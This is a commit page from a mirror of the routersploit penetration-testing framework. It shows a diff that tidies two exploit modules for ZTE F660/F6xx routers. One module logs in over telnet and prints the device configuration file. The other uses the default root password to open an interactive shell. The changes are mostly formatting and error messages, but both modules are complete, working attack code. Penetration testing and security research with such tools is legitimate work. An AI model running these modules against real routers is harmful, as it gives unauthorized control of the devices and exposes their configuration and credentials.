Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
fe5da03b
Commit
fe5da03b
authored
9 years ago
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Cleaning code. Adding little fixes.
parent
ffc36e2b
master
…
v3.4.4
v3.4.3
v3.4.2
v3.4.0
v3.3.0
v3.2.0
v3.1.0
v3.0.0
v2.2.1
v2.2.0
v2.1.0
No related merge requests found
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
32 additions
and
32 deletions
+32
-32
f660_config_disclosure.py
routersploit/modules/exploits/zte/f660_config_disclosure.py
+17
-17
f6xx_default_root.py
routersploit/modules/exploits/zte/f6xx_default_root.py
+15
-15
No files found.
routersploit/modules/exploits/zte/f660_config_disclosure.py
View file @
fe5da03b
...
...
@@ -2,9 +2,10 @@ import telnetlib
from
routersploit
import
(
exploits
,
print_status
,
print_success
,
print_error
,
mute
mute
,
)
...
...
@@ -17,13 +18,13 @@ class Exploit(exploits.Exploit):
'name'
:
'ZTE F660 Config Disclosure'
,
'description'
:
'Module exploits ZTE F660 Config Disclosure. If the target is possible to authentiate to the device.'
,
'authors'
:
[
'devilscream'
# vulnerability discovery
'devilscream'
,
# vulnerability discovery & routersploit module
],
'references'
:
[
'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html'
'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html'
,
],
'devices'
:
[
'ZTE ZXA10 F660'
'ZTE ZXA10 F660'
,
]
}
...
...
@@ -34,6 +35,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
...
...
@@ -43,17 +45,19 @@ class Exploit(exploits.Exploit):
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
if
i
!=
-
1
:
return
False
print_error
(
"Exploit failed"
)
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
print_success
(
"Telnet - Successful authentication"
)
print_success
(
"Authentication successful"
)
print_status
(
"Displaying configuration file:"
)
tn
.
write
(
self
.
config
+
"
\r\n
"
)
tn
.
interact
()
else
:
print_error
(
"Exploit failed"
)
tn
.
close
()
except
:
print_error
(
"Connection Error"
)
return
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
23
))
@mute
def
check
(
self
):
...
...
@@ -69,14 +73,11 @@ class Exploit(exploits.Exploit):
tn
.
close
()
if
i
!=
-
1
:
return
False
return
False
# target is not vulnerable
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"<DM name="
])):
tn
.
close
()
return
True
tn
.
close
()
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"<DM name="
])):
return
True
# target is vulnerable
except
:
return
False
return
False
# target is not vulnerable
return
False
\ No newline at end of file
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/zte/f6xx_default_root.py
View file @
fe5da03b
...
...
@@ -2,9 +2,10 @@ import telnetlib
from
routersploit
import
(
exploits
,
print_status
,
print_success
,
print_error
,
mute
mute
,
)
...
...
@@ -17,15 +18,15 @@ class Exploit(exploits.Exploit):
'name'
:
'ZTE F6XX Default root'
,
'description'
:
'Module exploits ZTE F6XX default root password. If the target is possible to authentiate to the device.'
,
'authors'
:
[
'devilscream'
# vulnerability discovery
'devilscream'
,
# vulnerability discovery & routersploit module
],
'references'
:
[
'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html'
'http://www.ironbugs.com/2016/02/hack-and-patch-your-zte-f660-routers.html'
,
],
'devices'
:
[
'ZTE ZXA10 F660'
,
'ZTE ZXA10 F609'
,
'ZTE ZXA10 F620'
'ZTE ZXA10 F620'
,
]
}
...
...
@@ -35,6 +36,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
...
...
@@ -45,17 +47,18 @@ class Exploit(exploits.Exploit):
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
if
i
!=
-
1
:
return
False
print_error
(
"Exploit failed"
)
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
print_success
(
"
Telnet - Successful authentication
"
)
print_success
(
"
Authentication successful
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
interact
()
else
:
print_error
(
"Exploit failed"
)
tn
.
close
()
except
:
print_error
(
"Connection Error"
)
return
print_error
(
"Connection error {}:{}"
.
format
(
self
.
target
,
self
.
port
))
@mute
def
check
(
self
):
...
...
@@ -71,13 +74,11 @@ class Exploit(exploits.Exploit):
tn
.
close
()
if
i
!=
-
1
:
return
False
return
False
# target is not vulnerable
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
tn
.
close
()
return
True
tn
.
close
()
return
True
# target is vulnerable
except
:
return
False
return
False
# target is not vulnerable
return
False
\ No newline at end of file
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment